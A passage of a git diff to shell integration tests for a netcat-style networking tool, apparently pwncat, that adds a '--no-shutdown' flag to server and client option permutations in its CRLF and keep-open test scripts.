${RPORT} --no-shutdown --crlf no -vvvv" "5" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vvv " "6" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vv " "7" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -v " "8" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no " "9" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf no -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvv " "10" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -vv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vv " "11" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -v " "${RHOST} ${RPORT} --no-shutdown --crlf no -v " "12" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no " "${RHOST} ${RPORT} --no-shutdown --crlf no " "13" "13" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/21-options---crlf/700---tcp---server_crlf_no---client_sends_lf.sh b/tests/integration/21-options---crlf/700---tcp---server_crlf_no---client_sends_lf.sh index 07c3733f..b8cfc9e9 100755 --- a/tests/integration/21-options---crlf/700---tcp---server_crlf_no---client_sends_lf.sh +++ b/tests/integration/21-options---crlf/700---tcp---server_crlf_no---client_sends_lf.sh @@ -136,19 +136,19 @@ run_test() { for curr_round in $(seq "${RUNS}"); do echo # server opts client opts - run_test "-l ${RPORT} --crlf no -vvvv" "${RHOST} ${RPORT} --crlf no -vvvv" "1" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -vvv " "${RHOST} ${RPORT} --crlf no -vvvv" "2" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -vv " "${RHOST} ${RPORT} --crlf no -vvvv" "3" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -v " "${RHOST} ${RPORT} --crlf no -vvvv" "4" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no " "${RHOST} ${RPORT} --crlf no -vvvv" "5" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf no -vvvv" "${RHOST} ${RPORT} --crlf no -vvv " "6" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -vvvv" "${RHOST} ${RPORT} --crlf no -vv " "7" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -vvvv" "${RHOST} ${RPORT} --crlf no -v " "8" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -vvvv" "${RHOST} ${RPORT} --crlf no " "9" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf no -vvv " "${RHOST} ${RPORT} --crlf no -vvv " "10" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -vv " "${RHOST} ${RPORT} --crlf no -vv " "11" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -v " "${RHOST} ${RPORT} --crlf no -v " "12" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no " "${RHOST} ${RPORT} --crlf no " "13" "13" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "1" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "2" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -vv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "3" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -v " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "4" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "5" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vvv " "6" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vv " "7" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -v " "8" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no " "9" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf no -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvv " "10" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -vv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vv " "11" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -v " "${RHOST} ${RPORT} --no-shutdown --crlf no -v " "12" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no " "${RHOST} ${RPORT} --no-shutdown --crlf no " "13" "13" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/21-options---crlf/701---tcp---server_crlf_no---client_sends_cr.sh b/tests/integration/21-options---crlf/701---tcp---server_crlf_no---client_sends_cr.sh index 860af325..c9b5bd18 100755 --- a/tests/integration/21-options---crlf/701---tcp---server_crlf_no---client_sends_cr.sh +++ b/tests/integration/21-options---crlf/701---tcp---server_crlf_no---client_sends_cr.sh @@ -136,19 +136,19 @@ run_test() { for curr_round in $(seq "${RUNS}"); do echo # server opts client opts - run_test "-l ${RPORT} --crlf no -vvvv" "${RHOST} ${RPORT} --crlf no -vvvv" "1" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -vvv " "${RHOST} ${RPORT} --crlf no -vvvv" "2" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -vv " "${RHOST} ${RPORT} --crlf no -vvvv" "3" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -v " "${RHOST} ${RPORT} --crlf no -vvvv" "4" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no " "${RHOST} ${RPORT} --crlf no -vvvv" "5" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf no -vvvv" "${RHOST} ${RPORT} --crlf no -vvv " "6" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -vvvv" "${RHOST} ${RPORT} --crlf no -vv " "7" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -vvvv" "${RHOST} ${RPORT} --crlf no -v " "8" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -vvvv" "${RHOST} ${RPORT} --crlf no " "9" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf no -vvv " "${RHOST} ${RPORT} --crlf no -vvv " "10" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -vv " "${RHOST} ${RPORT} --crlf no -vv " "11" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -v " "${RHOST} ${RPORT} --crlf no -v " "12" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no " "${RHOST} ${RPORT} --crlf no " "13" "13" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "1" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "2" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -vv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "3" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -v " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "4" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "5" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vvv " "6" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vv " "7" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -v " "8" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no " "9" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf no -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvv " "10" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -vv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vv " "11" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -v " "${RHOST} ${RPORT} --no-shutdown --crlf no -v " "12" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no " "${RHOST} ${RPORT} --no-shutdown --crlf no " "13" "13" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/21-options---crlf/702---tcp---server_crlf_no---client_sends_crlf.sh b/tests/integration/21-options---crlf/702---tcp---server_crlf_no---client_sends_crlf.sh index f0cee2cc..533b47ce 100755 --- a/tests/integration/21-options---crlf/702---tcp---server_crlf_no---client_sends_crlf.sh +++ b/tests/integration/21-options---crlf/702---tcp---server_crlf_no---client_sends_crlf.sh @@ -136,19 +136,19 @@ run_test() { for curr_round in $(seq "${RUNS}"); do echo # server opts client opts - run_test "-l ${RPORT} --crlf no -vvvv" "${RHOST} ${RPORT} --crlf no -vvvv" "1" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -vvv " "${RHOST} ${RPORT} --crlf no -vvvv" "2" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -vv " "${RHOST} ${RPORT} --crlf no -vvvv" "3" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -v " "${RHOST} ${RPORT} --crlf no -vvvv" "4" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no " "${RHOST} ${RPORT} --crlf no -vvvv" "5" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf no -vvvv" "${RHOST} ${RPORT} --crlf no -vvv " "6" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -vvvv" "${RHOST} ${RPORT} --crlf no -vv " "7" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -vvvv" "${RHOST} ${RPORT} --crlf no -v " "8" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -vvvv" "${RHOST} ${RPORT} --crlf no " "9" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf no -vvv " "${RHOST} ${RPORT} --crlf no -vvv " "10" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -vv " "${RHOST} ${RPORT} --crlf no -vv " "11" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -v " "${RHOST} ${RPORT} --crlf no -v " "12" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no " "${RHOST} ${RPORT} --crlf no " "13" "13" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "1" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "2" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -vv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "3" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -v " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "4" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "5" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vvv " "6" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vv " "7" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -v " "8" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no " "9" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf no -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvv " "10" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -vv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vv " "11" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -v " "${RHOST} ${RPORT} --no-shutdown --crlf no -v " "12" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no " "${RHOST} ${RPORT} --no-shutdown --crlf no " "13" "13" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/22-options---keep_open/000---tcp---server_reacc---three_clients---server_default---cli_nosend-cli_nosend-cli_send.sh b/tests/integration/22-options---keep_open/000---tcp---server_reacc---three_clients---server_default---cli_nosend-cli_nosend-cli_send.sh index 3b947481..56f1c8ca 100755 --- a/tests/integration/22-options---keep_open/000---tcp---server_reacc---three_clients---server_default---cli_nosend-cli_nosend-cli_send.sh +++ b/tests/integration/22-options---keep_open/000---tcp---server_reacc---three_clients---server_default---cli_nosend-cli_nosend-cli_send.sh @@ -299,24 +299,24 @@ run_test() { for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY - run_test "-l ${RPORT} --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "1" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} --keep-open -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "2" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} --keep-open -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "3" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "1" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "2" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "3" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "4" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 --keep-open -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "5" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "4" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "5" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "6" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 --keep-open -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "7" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "6" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "7" "14" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC - run_test "-l ${RHOST} ${RPORT} --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "8" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} --keep-open -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "9" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} --keep-open -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "10" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "8" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "9" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "10" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "11" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 --keep-open -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "12" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "11" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "12" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "13" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 --keep-open -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "14" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "13" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "14" "14" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/22-options---keep_open/001---tcp---server_reacc---three_clients---server_default---cli_nosend-cli_send-cli_send.sh b/tests/integration/22-options---keep_open/001---tcp---server_reacc---three_clients---server_default---cli_nosend-cli_send-cli_send.sh index ce50e805..ae7f493b 100755 --- a/tests/integration/22-options---keep_open/001---tcp---server_reacc---three_clients---server_default---cli_nosend-cli_send-cli_send.sh +++ b/tests/integration/22-options---keep_open/001---tcp---server_reacc---three_clients---server_default---cli_nosend-cli_send-cli_send.sh @@ -308,24 +308,24 @@ run_test() { for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY - run_test "-l ${RPORT} --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "1" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} --keep-open -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "2" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} --keep-open -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "3" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "1" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "2" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "3" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "4" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 --keep-open -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "5" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "4" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "5" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "6" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 --keep-open -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "7" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "6" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "7" "14" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC - run_test "-l ${RHOST} ${RPORT} --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "8" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} --keep-open -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "9" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} --keep-open -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "10" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "8" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "9" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "10" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "11" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 --keep-open -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "12" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "11" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "12" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "13" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 --keep-open -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "14" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "13" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "14" "14" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/22-options---keep_open/002---tcp---server_reacc---three_clients---server_default---cli_send-cli_send-cli_send.sh b/tests/integration/22-options---keep_open/002---tcp---server_reacc---three_clients---server_default---cli_send-cli_send-cli_send.sh index 38608f46..1c9e5ac2 100755 --- a/tests/integration/22-options---keep_open/002---tcp---server_reacc---three_clients---server_default---cli_send-cli_send-cli_send.sh +++ b/tests/integration/22-options---keep_open/002---tcp---server_reacc---three_clients---server_default---cli_send-cli_send-cli_send.sh @@ -317,24 +317,24 @@ run_test() { for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY - run_test "-l ${RPORT} --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "1" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} --keep-open -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "2" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} --keep-open -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "3" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "1" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "2" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "3" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "4" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 --keep-open -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "5" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "4" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "5" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "6" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 --keep-open -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "7" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "6" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "7" "14" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC - run_test "-l ${RHOST} ${RPORT} --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "8" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} --keep-open -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "9" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} --keep-open -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "10" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "8" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "9" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "10" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "11" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 --keep-open -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "12" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "11" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "12" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 --keep-open -vvvv" "${RHOST} ${RPORT} -vvvv" "13" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 --keep-open -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "14" "14" "${curr_round}" 